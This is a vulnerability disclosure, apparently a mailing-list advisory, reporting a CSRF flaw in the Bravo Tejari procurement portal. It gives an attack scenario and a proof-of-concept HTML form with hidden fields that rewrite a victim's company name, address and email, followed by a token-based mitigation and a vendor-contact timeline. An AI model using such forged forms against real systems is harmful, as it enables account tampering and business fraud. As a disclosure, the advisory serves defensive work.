Vulnerability Disclosure (Web Apps)-Bravo Tejari Web Portal-CSRF

From: Arvind Vishwakarma <>
Subject: Vulnerability Disclosure (Web Apps)-Bravo Tejari Web Portal-CSRF

Vulnerability Type: Cross Site Request Forgery (CSRF)
Vendor of Product: Tejari
Affected Product Code Base: Bravo Solution
Affected Component: Web Interface Management.
Attack Type: Local - Authenticated
Impact: Unauthorised Access

Product description:
Bravo Tejari is a strategic procurement platform that enables
organizations to generate more value, influence innovation and reduce
risk powered by a unique supplier-centered approach that integrates
supplier lifetime value throughout the entire procurement process

Attack Scenario:
The Web Interface of the Bravo Tejari procurement portal does not use
random tokens to block any kind of forged requests. An atacker can
take advantage of this scenario and create a forged request to edit
user account details like name, address of the company/individual,
email address etc. He then uses social engineering techniques to
target specific individuals whose account details he would like to
change. He simply sends the link and tricks the user into clicking the
forged http request. The request is executed and user account details
are changed without his knowledge.

Proof of Concept Code:
Forged HTTP Request used by the attacker:

    <form action=""
      <input type="hidden" name="userAct" value="confirmData" />
      <input type="hidden" name="from" value="registration&#95;data" />
      <input type="hidden" name="actionNumber" value="0" />
      <input type="hidden" name="companyExtStatusCode" value="31" />
      <input type="hidden" name="companyExtStatusNote" value="" />
      <input type="hidden" name="hideCompany" value="false" />
      <input type="hidden" name="companyName"
value="XYZ&#32;COMPUTER&#32;SYSTEMS&#32;FZ&#32;LLC" />
      <input type="hidden" name="companyAddress"
value="Dubai&#32;internet&#32;city&#44;&#32;DUBAI" />
      <input type="hidden" name="companyCity" value="DUBAI" />
      <input type="hidden" name="companyCountry" value="AE" />
      <input type="hidden" name="companyProvince" value="Dubai" />
      <input type="hidden" name="companyZip" value="25703" />
      <input type="hidden" name="companyPhone" value="43918600" />
      <input type="hidden" name="companyFax" value="" />
      <input type="hidden" name="companyEmail"
value="XYZ&#46;v&#64;XYZ&#46;com" />
      <input type="hidden" name="companyWebSite" value="" />
      <input type="hidden" name="companyLegalStructure" value="" />
      <input type="hidden" name="companyAddress2" value="" />
      <input type="hidden" name="companyFiscalCode" value="215703" />
      <input type="submit" value="Submit request" />

The affected product is a procurement portal and so all communication
regarding the contract lifecycle process is sent to user details
provided on the portal. If this vulnerability is sucessfully
exploited, the attacker will be able to change these details which
will potentially affect the victim's business.

Ensure that all sensitive CRUD Operations are appropriately protected
with random tokens. Alternatively, the sensitive operations should
also have an authentication layer to confirm user verification.

Credit: Arvind Vishwakarma

Vulnerability Timeline:
12th December 2017 \u2013 Vulnerability Discovered
23rd December 2017 \u2013 Contacted Vendor \u2013 No Response
7th January 2018 \u2013 Contacted Vendor again \u2013 No Response
15th February 2018 \u2013 Vulnerability Disclosed

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